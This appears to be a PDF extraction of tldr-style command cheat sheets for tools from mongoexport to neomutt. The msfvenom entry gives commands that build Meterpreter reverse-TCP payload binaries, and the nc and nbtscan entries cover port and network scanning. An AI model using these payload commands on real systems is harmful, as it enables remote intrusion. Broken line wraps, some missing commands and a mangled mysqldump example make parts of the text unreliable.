• Export documents that match the query in the specified file to a CSV file, omitting
the list of field names on the first line:

mongoexport --collection={{collection_name}} --type={{csv}}


--fields="{{field1,field2,...}}" --queryFile={{path/to/file}}
--noHeaderLine --out={{path/to/file.csv}}

• Export documents to stdout, formatted as human-readable JSON:

mongoexport --uri={{mongodb_uri}} --
collection={{collection_name}} --pretty

• Display help:

mongoexport --help
mongoimport
Imports content from a JSON, CSV, or TSV file into a MongoDB database.

More information: https://docs.mongodb.com/database-tools/mongoimport/.

• Import a JSON file into a specific collection:

mongoimport --file={{path/to/file.json}} --
uri={{mongodb_uri}} --collection={{collection_name}}

• Import a CSV file, using the first line of the file to determine field names:

mongoimport --type={{csv}} --file={{path/to/file.csv}} --


db={{database_name}} --collection={{collection_name}}

• Import a JSON array, using each element as a separate document:

mongoimport --jsonArray --file={{path/to/file.json}}

• Import a JSON file using a specific mode and a query to match existing documents:

mongoimport --file={{path/to/file.json}} --mode={{delete|


merge|upsert}} --upsertFields="{{field1,field2,...}}"

• Import a CSV file, reading field names from a separate CSV file and ignoring fields
with empty values:

mongoimport --type={{csv}} --file={{path/to/file.csv}} --


fieldFile={{path/to/field_file.csv}} --ignoreBlanks

• Display help:

mongoimport --help
mongorestore
Utility to import a collection or database from a binary dump into a MongoDB instance.

More information: https://docs.mongodb.com/database-tools/mongorestore/.

• Import a BSON data dump from a directory to a MongoDB database:

mongorestore --db {{database_name}} {{path/to/directory}}

• Import a BSON data dump from a directory to a given database in a MongoDB


server host, running at a given port, with user authentication (user will be
prompted for password):

mongorestore --host {{database_host:port}} --db


{{database_name}} --username {{username}} {{path/to/
directory}} --password

• Import a collection from a BSON file to a MongoDB database:

mongorestore --db {{database_name}} {{path/to/file}}

• Import a collection from a BSON file to a given database in a MongoDB server


host, running at a given port, with user authentication (user will be prompted for
password):

mongorestore --host {{database_host:port}} --db


{{database_name}} --username {{username}} {{path/to/file}} --
password
monodevelop
Cross platform IDE for C#, F# and more.

More information: https://www.monodevelop.com/.

• Start MonoDevelop:

monodevelop

• Open a specific file:

monodevelop {{path/to/file}}

• Open a specific file with the caret at a specific position:

monodevelop {{path/to/file}};{{line_number}};
{{column_number}}

• Force opening a new window instead of switching to an existing one:

monodevelop --new-window

• Disable redirection of stdout and stderr to a log file:

monodevelop --no-redirect

• Enable performance monitoring:

monodevelop --perf-log
monodis
The Mono Common Intermediate Language (CIL) disassembler.

More information: https://www.mono-project.com/docs/tools+libraries/tools/monodis/.

• Disassemble an assembly to textual CIL:

monodis {{path/to/assembly.exe}}

• Save the output to a file:

monodis --output={{path/to/output.il}} {{path/to/


assembly.exe}}

• Show information about an assembly:

monodis --assembly {{path/to/assembly.dll}}

• List the references of an assembly:

monodis --assemblyref {{path/to/assembly.exe}}

• List all the methods in an assembly:

monodis --method {{path/to/assembly.exe}}

• Show a list of resources embedded within an assembly:

monodis --manifest {{path/to/assembly.dll}}

• Extract all the embedded resources to the current directory:

monodis --mresources {{path/to/assembly.dll}}


monop
Finds and displays signatures of Types and methods inside .NET assemblies.

More information: https://manned.org/monop.

• Show the structure of a Type built-in of the .NET Framework:

monop {{System.String}}

• List the types in an assembly:

monop -r:{{path/to/assembly.exe}}

• Show the structure of a Type in a specific assembly:

monop -r:{{path/to/assembly.dll}} {{Namespace.Path.To.Type}}

• Only show members defined in the specified Type:

monop -r:{{path/to/assembly.dll}} --only-declared


{{Namespace.Path.To.Type}}

• Show private members:

monop -r:{{path/to/assembly.dll}} --private


{{Namespace.Path.To.Type}}

• Hide obsolete members:

monop -r:{{path/to/assembly.dll}} --filter-obsolete


{{Namespace.Path.To.Type}}

• List the other assemblies that a specified assembly references:

monop -r:{{path/to/assembly.dll}} --refs


montage
ImageMagick image montage tool.

Tiles images into a customisable grid.

More information: https://imagemagick.org/script/montage.php.

• Tile images into a grid, automatically resizing images larger than the grid cell size:

montage {{image1.png}} {{image2.jpg}} {{imageN.png}}


montage.jpg

• Tile images into a grid, automatically calculating the grid cell size from the largest
image:

montage {{image1.png}} {{image2.jpg}} {{imageN.png}} -


geometry +0+0 montage.jpg

• Set the grid cell size and resize images to fit it before tiling:

montage {{image1.png}} {{image2.jpg}} {{imageN.png}} -


geometry 640x480+0+0 montage.jpg

• Limit the number of rows and columns in the grid, causing input images to
overflow into multiple output montages:

montage {{image1.png}} {{image2.jpg}} {{imageN.png}} -


geometry +0+0 -tile 2x3 montage_%d.jpg

• Resize and crop images to fill their grid cells before tiling:

montage {{image1.png}} {{image2.jpg}} {{imageN.png}} -


geometry +0+0 -resize 640x480^ -gravity center -crop
640x480+0+0 montage.jpg
more
Open a file for interactive reading, allowing scrolling and search.

More information: https://manned.org/more.

• Open a file:

more {{path/to/file}}

• Open a file displaying from a specific line:

more +{{line_number}} {{path/to/file}}

• Display help:

more --help

• Go to the next page:

<Space>

• Search for a string (press n to go to the next match):

/{{something}}

• Exit:

• Display help about interactive commands:

h
moro
Track work time.

More information: https://moro.js.org.

• Invoke moro without parameters, to set the current time as the start of the
working day:

moro

• Specify a custom time for the start of the working day:

moro hi {{09:30}}

• Invoke moro without parameters a second time, to set the current time at the end
of the working day:

moro

• Specify a custom time for the end of the working day:

moro bye {{17:30}}

• Add a note on the current working day:

moro note {{3 hours on project Foo}}

• Show a report of time logs and notes for the current working day:

moro report

• Show a report of time logs and notes for all working days on record:

moro report --all


mosh
Mobile Shell (mosh) is a robust and responsive replacement for SSH.

mosh persists connections to remote servers while roaming between networks.

More information: https://mosh.org.

• Connect to a remote server:

mosh {{username}}@{{remote_host}}

• Connect to a remote server with a specific identity (private key):

mosh --ssh="ssh -i {{path/to/key_file}}" {{username}}


@{{remote_host}}

• Connect to a remote server using a specific port:

mosh --ssh="ssh -p {{2222}}" {{username}}@{{remote_host}}

• Run a command on a remote server:

mosh {{remote_host}} -- {{command -with -flags}}

• Select Mosh UDP port (useful when {{remote_host}} is behind a NAT):

mosh -p {{124}} {{username}}@{{remote_host}}

• Usage when mosh-server binary is outside standard path:

mosh --server={{path/to/bin/}}mosh-server {{remote_host}}


mosquitto
An MQTT broker.

More information: https://mosquitto.org/.

• Start mosquitto:

mosquitto

• Specify a configuration file to use:

mosquitto --config-file {{path/to/file.conf}}

• Listen on a specific port:

mosquitto --port {{8883}}

• Daemonize by forking into the background:

mosquitto --daemon
mosquitto_passwd
Manage password files for mosquitto.

See also mosquitto, the MQTT server that this manages.

More information: https://mosquitto.org/man/mosquitto_passwd-1.html.

• Add a new user to a password file (will prompt to enter the password):

mosquitto_passwd {{path/to/password_file}} {{username}}

• Create the password file if it doesn't already exist:

mosquitto_passwd -c {{path/to/password_file}} {{username}}

• Delete the specified username instead:

mosquitto_passwd -D {{path/to/password_file}} {{username}}

• Upgrade an old plain-text password file to a hashed password file:

mosquitto_passwd -U {{path/to/password_file}}
mosquitto_pub
A simple MQTT version 3.1.1 client that will publish a single message on a topic and
exit.

More information: https://mosquitto.org/man/mosquitto_pub-1.html.

• Publish a temperature value of 32 on the topic sensors/temperature to


192.168.1.1 (defaults to localhost) with Quality of Service (QoS) set to 1:

mosquitto_pub -h {{192.168.1.1}} -t {{sensors/temperature}} -


m {{32}} -q {{1}}

• Publish timestamp and temperature data on the topic sensors/temperature to


a remote host on a non-standard port:

mosquitto_pub -h {{192.168.1.1}} -p {{1885}} -t {{sensors/


temperature}} -m "{{1266193804 32}}"

• Publish light switch status and retain the message on the topic switches/
kitchen_lights/status to a remote host because there may be a long period
of time between light switch events:

mosquitto_pub -r -h "{{iot.eclipse.org}}" -t {{switches/


kitchen_lights/status}} -m "{{on}}"

• Send the contents of a file (data.txt) as a message and publish it to sensors/


temperature topic:

mosquitto_pub -t {{sensors/temperature}} -f {{data.txt}}

• Send the contents of a file (data.txt), by reading from stdin and send the entire
input as a message and publish it to sensors/temperature topic:

mosquitto_pub -t {{sensors/temperature}} -s < {{data.txt}}

• Read newline delimited data from stdin as a message and publish it to sensors/
temperature topic:

{{echo data.txt}} | mosquitto_pub -t {{sensors/temperature}}


-l
mosquitto_sub
A simple MQTT version 3.1.1 client that will subscribe to topics and print the messages
that it receives.

More information: https://mosquitto.org/man/mosquitto_sub-1.html.

• Subscribe to the topic sensors/temperature information with Quality of


Service (QoS) set to 1. (The default hostname is localhost and port 1883):

mosquitto_sub -t {{sensors/temperature}} -q {{1}}

• Subscribe to all broker status messages publishing on iot.eclipse.org port


1885 and print published messages verbosely:

mosquitto_sub -v -h "iot.eclipse.org" -p 1885 -t {{\$SYS/#}}

• Subscribe to multiple topics matching a given pattern. (+ takes any metric name):

mosquitto_sub -t {{sensors/machines/+/temperature/+}}
most
Open one or several files for interactive reading, allowing scrolling and search.

More information: https://manned.org/most.

• Open a file:

most {{path/to/file}}

• Open several files:

most {{path/to/file1}} {{path/to/file2}}

• Open a file at the first occurrence of "string":

most {{file}} +/{{string}}

• Move through opened files:

:O n

• Jump to the 100th line:

{{100}}j

• Edit current file:

• Split the current window in half:

<CTRL-x> o

• Exit:

Q
mount
Provides access to an entire filesystem in one directory.

More information: https://manned.org/mount.8.

• Show all mounted filesystems:

mount

• Mount a device to a directory:

mount -t {{filesystem_type}} {{path/to/device_file}} {{path/


to/target_directory}}

• Mount a CD-ROM device (with the filetype ISO9660) to /cdrom (readonly):

mount -t {{iso9660}} -o ro {{/dev/cdrom}} {{/cdrom}}

• Mount all the filesystem defined in /etc/fstab:

mount -a

• Mount a specific filesystem described in /etc/fstab (e.g. /dev/sda1 /


my_drive ext2 defaults 0 2):

mount {{/my_drive}}

• Mount a directory to another directory:

mount --bind {{path/to/old_dir}} {{path/to/new_dir}}


mozillavpn
A Virtual Private Network from the makers of Firefox.

More information: https://github.com/mozilla-mobile/mozilla-vpn-client/wiki/


Command-line-interface.

• Log in with an interactive prompt:

mozillavpn login

• Connect to Mozilla VPN:

mozillavpn activate

• Display the connection status:

mozillavpn status

• List available servers:

mozillavpn servers

• Select a specific server:

mozillavpn select {{server_name}}

• Disconnect from Mozilla VPN:

mozillavpn deactivate

• Log out:

mozillavpn logout

• Display help for a subcommand:

mozillavpn {{subcommand}} --help


mp3info
Viewer/editor for ID3v1 (but not ID3v2) tags of MP3 files.

More information: http://www.ibiblio.org/mp3info.

• Show all ID3v1 tags of a specific MP3 file:

mp3info {{path/to/file.mp3}}

• Edit ID3v1 tags interactively:

mp3info -i {{path/to/file.mp3}}

• Set values for ID3v1 tags in a specific MP3 file:

mp3info -a "{{artist_name}}" -t "{{song_title}}" -l


"{{album_title}}" -y {{year}} -c "{{comment_text}}" {{path/
to/file.mp3}}

• Set the number of the track in the album for a specific MP3 file:

mp3info -n {{track_number}} {{path/to/file.mp3}}

• Print a list of valid genres and their numeric codes:

mp3info -G

• Set the music genre for a specific MP3 file:

mp3info -g {{genre_number}} {{path/to/file.mp3}}


mp4box
MPEG-4 Systems Toolbox - Muxes streams into MP4 container.

More information: https://gpac.wp.imt.fr/mp4box.

• Display information about an existing MP4 file:

mp4box -info {{filename}}

• Add an SRT subtitle file into an MP4 file:

mp4box -add {{input_subs.srt}}:lang=eng -add {{input.mp4}}


{{output.mp4}}

• Combine audio from one file and video from another:

mp4box -add {{input1.mp4}}#audio -add {{input2.mp4}}#video


{{output.mp4}}
mpc
Music Player Client.

Program for controlling the Music Player Daemon (MPD).

More information: https://www.musicpd.org/clients/mpc.

• Toggle play/pause:

mpc toggle

• Stop playing:

mpc stop

• Show information about the currently playing song:

mpc status

• Play next song:

mpc next

• Play previous song:

mpc prev

• Forward or rewind the currently playing song:

mpc [+-]{{seconds}}
mpd
Music Player Daemon.

More information: https://www.musicpd.org/.

• Start MPD:

mpd

• Start MPD but don't read from the configuration file:

mpd --no-config

• Start MPD and don't detach it from the console:

mpd --no-daemon

• Kill the currently running MPD session:

mpd --kill
mpg321
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2, and 3.

Mpg321 was written (sometime in 1999) to be a drop-in replacement for the (previously)
non-free mpg123 player.

More information: http://mpg321.sourceforge.net/.

• Play an audio source exactly N times (N=0 means forever):

mpg321 -l {{N}} {{path/to/file_a|URL}} {{path/to/file_b|URL}}


{{...}}

• Play a directory recursively:

mpg321 -B {{path/to/directory}}

• Enable Basic Keys ( * or / - Increase or decrease volume, n - Skip song, m - Mute/


unmute.) while playing:

mpg321 -K {{path/to/file_a|URL}} {{path/to/file_b|URL}}


{{...}}

• Play files randomly until interrupted:

mpg321 -Z {{path/to/file_a|URL}} {{path/to/file_b|URL}}


{{...}}

• Shuffle the files before playing them once:

mpg321 -z {{path/to/file_a|URL}} {{path/to/file_b|URL}}


{{...}}

• Play all files in the current directory and subdirectories, randomly (until
interrupted), with Basic Keys enabled:

mpg321 -B -Z -K .
mplayer
Cross-platform multimedia player.

More information: https://mplayerhq.hu/DOCS/HTML/en/commandline.html.

• Play the specified file or URL:

mplayer {{path/to/file|url}}

• Play multiple files:

mplayer {{path/to/file1 path/to/file2 ...}}

• Play a specific file repeatedly:

mplayer -loop {{0}} {{path/to/file}}

• Pause playback:

<Space>

• Quit mplayer:

<Escape>

• Seek backward or forward 10 seconds:

<Left> or <Right>
mpv
A audio/video player based on MPlayer.

More information: https://mpv.io.

• Play a video or audio file:

mpv {{file}}

• Play a video or audio file from a URL:

mpv '{{https://www.youtube.com/watch?v=dQw4w9WgXcQ}}'

• Jump backward/forward 5 seconds:

LEFT <or> RIGHT

• Jump backward/forward 1 minute:

DOWN <or> UP

• Decrease or increase playback speed by 10%:

[ <or> ]

• Play a file at a specified speed (0.01 to 100, default 1):

mpv --speed {{speed}} {{file}}

• Play a file using a profile defined in the mpv.conf file:

mpv --profile {{profile_name}} {{file}}

• Display the output of webcam or other video input device:

mpv /dev/{{video0}}
mr
Manage all of your version control repositories at once.

More information: https://myrepos.branchable.com.

• Register a repository:

mr register

• Update repositories in 5 concurrent jobs:

mr -j{{5}} update

• Print the status of all repositories:

mr status

• Checkout all repositories to the latest version:

mr checkout
msbuild
The Microsoft build tool for Visual Studio project solutions.

More information: https://docs.microsoft.com/visualstudio/msbuild.

• Build the first project file in the current directory:

msbuild

• Build a specific project file:

msbuild {{path/to/project_file}}

• Set one or more semicolon-separated targets to build:

msbuild {{path/to/project_file}} /target:{{targets}}

• Set one or more semicolon-separated properties:

msbuild {{path/to/project_file}} /property:{{name=value}}

• Set the build tools version to use:

msbuild {{path/to/project_file}} /toolsversion:{{version}}

• Display detailed information at the end of the log about how the project was
configured:

msbuild {{path/to/project_file}} /detailedsummary

• Display detailed help information:

msbuild /help
mscore
This command is an alias of musescore.

More information: https://musescore.org/handbook/command-line-options.

• View documentation for the original command:

tldr musescore
msfvenom
Manually generate payloads for metasploit.

More information: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-


msfvenom.

• List payloads:

msfvenom -l payloads

• List formats:

msfvenom -l formats

• Show payload options:

msfvenom -p {{payload}} --list-options

• Create an ELF binary with a reverse TCP handler:

msfvenom -p linux/x64/meterpreter/reverse_tcp
LHOST={{local_ip}} LPORT={{local_port}} -f elf > {{path/to/
binary}}

• Create an EXE binary with a reverse TCP handler:

msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST={{local_ip}} LPORT={{local_port}} -f exe > {{path/to/
binary.exe}}
msmtp
An SMTP client.

It reads text from standard input and sends it to an SMTP server.

More information: https://marlam.de/msmtp.

• Send an email using the default account configured in ~/.msmtprc:

echo "{{Hello world}}" | msmtp {{to@example.org}}

• Send an email using a specific account configured in ~/.msmtprc:

echo "{{Hello world}}" | msmtp --account={{account_name}}


{{to@example.org}}

• Send an email without a configured account. The password should be specified in


the ~/.msmtprc file:

echo "{{Hello world}}" | msmtp --host={{localhost}} --


port={{999}} --from={{from@example.org}} {{to@example.org}}
mtr
Matt's Traceroute: combined traceroute and ping tool.

More information: https://bitwizard.nl/mtr.

• Traceroute to a host and continuously ping all intermediary hops:

mtr {{host}}

• Disable IP address and host name mapping:

mtr -n {{host}}

• Generate output after pinging each hop 10 times:

mtr -w {{host}}

• Force IP IPv4 or IPV6:

mtr -4 {{host}}

• Wait for a given time (in seconds) before sending another packet to the same hop:

mtr -i {{seconds}} {{host}}


mu
Index and search emails from a local Maildir.

More information: https://man.cx/mu.

• Initialize the email database, optionally specifying the Maildir directory and email
addresses:

mu init --maildir={{path/to/directory}} --my-


address={{name@example.com}}

• Index new emails:

mu index

• Find messages using a specific keyword (in message body, subject, sender, ...):

mu find {{keyword}}

• Find messages to Alice with subject jellyfish containing the words apples or
oranges:

mu find to:{{alice}} subject:{{jellyfish}} {{apples}} OR


{{oranges}}

• Find unread messages about words starting with soc (the * only works at the end
of the search term) in the Sent Items folder:

mu find 'subject:{{soc}}*' flag:{{unread}} maildir:'/{{Sent


Items}}'

• Find messages from Sam with attached images, between 2 KiB and 2 MiB, written
in 2021:

mu find 'mime:{{image/*}} size:{{2k..2m}} date:


{{20210101..20211231}} from:{{sam}}

• List contacts with Bob in either name or email address:

mu cfind {{Bob}}
multipass
CLI to manage Ubuntu virtual machines using native hypervisors.

More information: https://multipass.run/.

• List the aliases that can be used to launch an instance:

multipass find

• Launch a new instance, set its name and use a cloud-init configuration file:

multipass launch -n {{instance_name}} --cloud-init


{{configuration_file}}

• List all the created instances and some of their properties:

multipass list

• Start a specific instance by name:

multipass start {{instance_name}}

• Show the properties of an instance:

multipass info {{instance_name}}

• Open a shell prompt on a specific instance by name:

multipass shell {{instance_name}}

• Delete an instance by name:

multipass delete {{instance_name}}

• Mount a directory into a specific instance:

multipass mount {{path/to/local/directory}}


{{instance_name}}:{{path/to/target/directory}}
multitail
Extension of tail.

More information: https://manned.org/multitail.

• Tail all files matching a pattern in a single stream:

multitail -Q 1 '{{pattern}}'

• Tail all files in a directory in a single stream:

multitail -Q 1 '{{directory}}/*'

• Automatically add new files to a window:

multitail -Q {{pattern}}

• Show 5 logfiles while merging 2 and put them in 2 columns with only one in the
left column:

multitail -s 2 -sn 1,3 {{mergefile}} -I {{file1}} {{file2}}


{{file3}} {{file4}}
mupdf
MuPDF is a lightweight PDF, XPS, and E-book viewer.

More information: https://www.mupdf.com.

• Open a PDF on the first page:

mupdf {{filename}}

• Open a PDF on page 3:

mupdf {{filename}} {{3}}

• Open a password secured PDF:

mupdf -p {{password}} {{filename}}

• Open a PDF with an initial zoom level, specified as DPI, of 72:

mupdf -r {{72}} {{filename}}

• Open a PDF with inverted color:

mupdf -I {{filename}}

• Open a PDF tinted red #FF0000 (hexadecimal color syntax RRGGBB):

mupdf -C {{FF0000}}

• Open a PDF without anti-aliasing (0 = off, 8 = best):

mupdf -A {{0}}
musescore
MuseScore 3 sheet music editor.

More information: https://musescore.org/en/handbook/3/command-line-options.

• Use a specific audio driver:

musescore --audio-driver {{jack|alsa|portaudio|pulse}}

• Set the MP3 output bitrate in kbit/s:

musescore --bitrate {{bitrate}}

• Start MuseScore in debug mode:

musescore --debug

• Enable experimental features, such as layers:

musescore --experimental

• Export the given file to the specified output file. The file type depends on the given
extension:

musescore --export-to {{output_file}} {{input_file}}

• Print a diff between the given scores:

musescore --diff {{path/to/file1}} {{path/to/file2}}

• Specify a MIDI import operations file:

musescore --midi-operations {{path/to/file}}


mutagen
Real-time file synchronization and network forwarding tool.

More information: https://mutagen.io.

• Start a synchronization session between a local directory and a remote host:

mutagen sync create --name={{session_name}} {{/path/to/local/


directory/}} {{user}}@{{host}}:{{/path/to/remote/directory/}}

• Start a synchronization session between a local directory and a Docker container:

mutagen sync create --name={{session_name}} {{/path/to/local/


directory/}} docker://{{user}}@{{container_name}}{{/path/to/
remote/directory/}}

• Stop a running session:

mutagen sync terminate {{session_name}}

• Start a project:

mutagen project start

• Stop a project:

mutagen project terminate

• List running sessions for the current project:

mutagen project list


mutool
Convert PDF files, query information and extract data.

More information: https://mupdf.com/docs.

• Convert pages 1-10 into 10 PNGs:

mutool convert -o {{image%d.png}} {{file.pdf}} {{1-10}}

• Convert pages 2, 3 and 5 of a PDF into text in the standard output:

mutool draw -F {{txt}} {{file.pdf}} {{2,3,5}}

• Concatenate two PDFs:

mutool merge -o {{output.pdf}} {{input1.pdf}} {{input2.pdf}}

• Query information about all content embedded in a PDF:

mutool info {{input.pdf}}

• Extract all images, fonts and resources embedded in a PDF out into the current
directory:

mutool extract {{input.pdf}}

• Print the outline (table of contents) of a PDF:

mutool show {{input.pdf}} outline


mutt
Command-line email client.

More information: http://mutt.org.

• Open the specified mailbox:

mutt -f {{mailbox}}

• Send an email and specify a subject and a cc recipient:

mutt -s {{subject}} -c {{cc@example.com}}


{{recipient@example.com}}

• Send an email with files attached:

mutt -a {{file1}} {{file2}} -- {{recipient@example.com}}

• Specify a file to include as the message body:

mutt -i {{file}} {{recipient@example.com}}

• Specify a draft file containing the header and the body of the message, in RFC 5322
format:

mutt -H {{file}} {{recipient@example.com}}


mv
Move or rename files and directories.

More information: https://www.gnu.org/software/coreutils/mv.

• Move a file to an arbitrary location:

mv {{source}} {{target}}

• Move files into another directory, keeping the filenames:

mv {{source1}} {{source2}} {{source3}} {{target_directory}}

• Do not prompt for confirmation before overwriting existing files:

mv -f {{source}} {{target}}

• Prompt for confirmation before overwriting existing files, regardless of file


permissions:

mv -i {{source}} {{target}}

• Do not overwrite existing files at the target:

mv -n {{source}} {{target}}

• Move files in verbose mode, showing files after they are moved:

mv -v {{source}} {{target}}
mvn
Apache Maven.

Tool for building and managing Java-based projects.

More information: https://maven.apache.org.

• Compile a project:

mvn compile

• Compile and package the compiled code in its distributable format, such as a jar:

mvn package

• Compile and package, skipping unit tests:

mvn package -DskipTests

• Install the built package in local maven repository. (This will invoke the compile
and package commands too):

mvn install

• Delete build artifacts from the target directory:

mvn clean

• Do a clean and then invoke the package phase:

mvn clean package

• Clean and then package the code with a given build profile:

mvn clean -P{{profile}} package

• Run a class with a main method:

mvn exec:java -Dexec.mainClass="{{com.example.Main}}" -


Dexec.args="{{arg1 arg2}}"
mycli
A command-line client for MySQL that can do auto-completion and syntax highlighting.

More information: https://mycli.net.

• Connect to a local database on port 3306, using the current user's username:

mycli {{database_name}}

• Connect to a database (user will be prompted for a password):

mycli -u {{username}} {{database_name}}

• Connect to a database on another host:

mycli -h {{database_host}} -P {{port}} -u {{username}}


{{database_name}}
mysql
The MySQL command-line tool.

More information: https://www.mysql.com/.

• Connect to a database:

mysql {{database_name}}

• Connect to a database, user will be prompted for a password:

mysql -u {{user}} --password {{database_name}}

• Connect to a database on another host:

mysql -h {{database_host}} {{database_name}}

• Connect to a database through a Unix socket:

mysql --socket {{path/to/socket.sock}}

• Execute SQL statements in a script file (batch file):

mysql -e "source {{filename.sql}}" {{database_name}}

• Restore a database from a backup created with mysqldump (user will be prompted
for a password):

mysql --user {{user}} --password {{database_name}} < {{path/


to/backup.sql}}

• Restore all databases from a backup (user will be prompted for a password):

mysql --user {{user}} --password < {{path/to/backup.sql}}


mysqld
Start the MySQL database server.

More information: https://dev.mysql.com/doc/refman/en/mysqld.html.

• Start the MySQL database server:

mysqld

• Start the server, printing error messages to the console:

mysqld --console

• Start the server, saving logging output to a custom log file:

mysqld --log={{path/to/file.log}}

• Print the default arguments and their values and exit:

mysqld --print-defaults

• Start the server, reading arguments and values from a file:

mysqld --defaults-file={{path/to/file}}

• Start the server and listen on a custom port:

mysqld --port={{port}}

• Show all help options and exit:

mysqld --verbose --help


mysqldump
Backups MySQL databases.

See also mysql for restoring databases.

More information: https://dev.mysql.com/doc/refman/en/mysqldump.html.

• Create a backup (user will be prompted for a password):

mysqldump --user {{user}} --password {{database_name}} --


result-file={{path/to/file.sql}}

• Backup a specific table redirecting the output to a file (user will be prompted for a
password):

mysqldump --user {{user}} --password {{database_name}}


{{table_name}} > {{path/to/file.sql}}

• Backup all databases redirecting the output to a file (user will be prompted for a
password):

mysqldump --user {{user}} --password --all-databases >


{{path/to/file.sql}}

• Backup all databases from a remote host, redirecting the output to a file (user will
be prompted for a password):

mysqldump --host={(ip_or_hostname)} --user {{user}} --


password --all-databases > ({path/to/file.sql}}
mytop
Display MySQL server performance info like top.

More information: http://jeremy.zawodny.com/mysql/mytop/mytop.html.

• Start mytop:

mytop

• Connect with a specified username and password:

mytop -u {{user}} -p {{password}}

• Connect with a specified username (the user will be prompted for a password):

mytop -u {{user}} --prompt

• Do not show any idle (sleeping) threads:

mytop -u {{user}} -p {{password}} --noidle


n
Tool to manage multiple node versions.

• Install a given version of node. If the version is already installed, it will be


activated:

n {{version}}

• Display installed versions and interactively activate one of them:

• Remove a version:

n rm {{version}}

• Execute a file with a given version:

n use {{version}} {{file.js}}

• Output binary path for a version:

n bin {{version}}
nano
Simple, easy to use command-line text editor. An enhanced, free Pico clone.

More information: https://nano-editor.org.

• Open a new file in nano:

nano

• Open a specific file:

nano {{path/to/file}}

• Open a specific file, positioning the cursor at the specified line and column:

nano +{{line}},{{column}} {{path/to/file}}

• Open a specific file and enable soft wrapping:

nano --softwrap {{path/to/file}}

• Open a specific file and indent new lines to the previous lines' indentation:

nano --autoindent {{path/to/file}}

• Open nano and create a backup file (file~) when saving edits:

nano --backup {{path/to/file}}


nasm
The Netwide Assembler, a portable 80x86 assembler.

More information: https://nasm.us.

• Assemble source.asm into a binary file source, in the (default) raw binary
format:

nasm {{source.asm}}

• Assemble source.asm into a binary file output_file, in the specified format:

nasm -f {{format}} {{source.asm}} -o {{output_file}}

• List valid output formats (along with basic nasm help):

nasm -hf

• Assemble and generate an assembly listing file:

nasm -l {{list_file}} {{source.asm}}

• Add a directory (must be written with trailing slash) to the include file search path
before assembling:

nasm -i {{path/to/include_dir/}} {{source.asm}}


nativefier
Command-line tool to create a desktop app for any web site with minimal configuration.

More information: https://github.com/jiahaog/nativefier.

• Make a desktop app for a website:

nativefier {{url}}

• Create a desktop app with a custom name:

nativefier --name {{name}} {{url}}

• Use a custom icon, should be a PNG:

nativefier --icon {{path/to/icon.png}} {{url}}


nbtscan
Scan networks for NetBIOS name information.

More information: https://github.com/resurrecting-open-source-projects/nbtscan.

• Scan a network for NetBIOS names:

nbtscan {{192.168.0.1/24}}

• Scan a single IP address:

nbtscan {{192.168.0.1}}

• Display verbose output:

nbtscan -v {{192.168.0.1/24}}

• Display output in /etc/hosts format:

nbtscan -e {{192.168.0.1/24}}

• Read IP addresses / networks to scan from a file:

nbtscan -f {{path/to/file.txt}}
nc
Netcat is a versatile utility for working with TCP or UDP data.

More information: https://nmap.org/ncat.

• Listen on a specified port and print any data received:

nc -l {{port}}

• Connect to a certain port:

nc {{ip_address}} {{port}}

• Set a timeout:

nc -w {{timeout_in_seconds}} {{ipaddress}} {{port}}

• Keep the server up after the client detaches:

nc -k -l {{port}}

• Keep the client up even after EOF:

nc -q {{timeout}} {{ip_address}}

• Scan the open ports of a specified host:

nc -v -z {{ip_address}} {{port}}

• Act as proxy and forward data from a local TCP port to the given remote host:

nc -l {{local_port}} | nc {{hostname}} {{remote_port}}


ncc
Compile a Node.js application into a single file.

Supports TypeScript, binary addons and dynamic requires.

More information: https://github.com/vercel/ncc.

• Bundle a Node.js application:

ncc build {{path/to/file.js}}

• Bundle and minify a Node.js application:

ncc build --minify {{path/to/file.js}}

• Bundle and minify a Node.js application and generate source maps:

ncc build --source-map {{path/to/file.js}}

• Automatically recompile on changes to source files:

ncc build --watch {{path/to/file.js}}

• Bundle a Node.js application into a temporary directory and run it for testing:

ncc run {{path/to/file.js}}

• Clean the ncc cache:

ncc clean cache


ncmpcpp
A command-line music player client for the Music Player Daemon.

More information: https://rybczak.net/ncmpcpp.

• Connect to a music player daemon on a given host and port:

ncmpcpp --host {{ip}} --port {{port}}

• Display metadata of the current song to console:

ncmpcpp --current-song

• Use a specified configuration file:

ncmpcpp --config {{file}}

• Use a different set of key bindings from a file:

ncmpcpp --bindings {{file}}


neato
Render an image of a linear undirected network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

neato -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

neato -T {{svg}} -o {{path/to/image.svg}} {{path/to/


input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

neato -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{graph {this -- that} }}" | neato -T {{gif}} > {{path/


to/image.gif}}

• Display help:

neato -?
ned
Is like grep but with powerful replace capabilities.

Unlike sed, as it isn't restricted to line oriented editing.

More information: https://github.com/nevdelap/ned.

• Recursively search starting in the current directory, ignoring case:

ned --ignore-case --recursive '{{^[dl]og}}' {{.}}

• Search always showing colored output:

ned --colors '{{^[dl]og}}' {{.}}

• Search never showing colored output:

ned --colors=never '{{^[dl]og}}' {{.}}

• Search ignoring certain files:

ned --recursive --exclude '{{*.htm}}' '{{^[dl]og}}' {{.}}

• Simple replace:

ned '{{dog}}' --replace '{{cat}}' {{.}}

• Replace using numbered group references:

ned '{{the ([a-z]+) dog and the ([a-z]+) dog}}' --replace


'{{the $2 dog and the $1 dog}}' {{.}}

• Replace changing case:

ned '{{([a-z]+) dog}}' --case-replacements --replace


'{{\U$1\E! dog}}' --stdout {{.}}

• Preview results of a find and replace without updating the target files:

ned '{{^[sb]ad}}' --replace '{{happy}}' --stdout {{.}}


neofetch
CLI tool to display information about your operating system, software and hardware.

More information: https://github.com/dylanaraps/neofetch.

• Return the default config, and create it if it's the first time the program runs:

neofetch

• Trigger an info line from appearing in the output, where 'infoname' is the function
name in the config file, e.g. memory:

neofetch --{{enable|disable}} {{infoname}}

• Hide/Show OS architecture:

neofetch --os_arch {{on|off}}

• Enable/Disable CPU brand in output:

neofetch --cpu_brand {{on|off}}


neomutt
NeoMutt command line email client.

More information: https://neomutt.org.

• Open the specified mailbox:

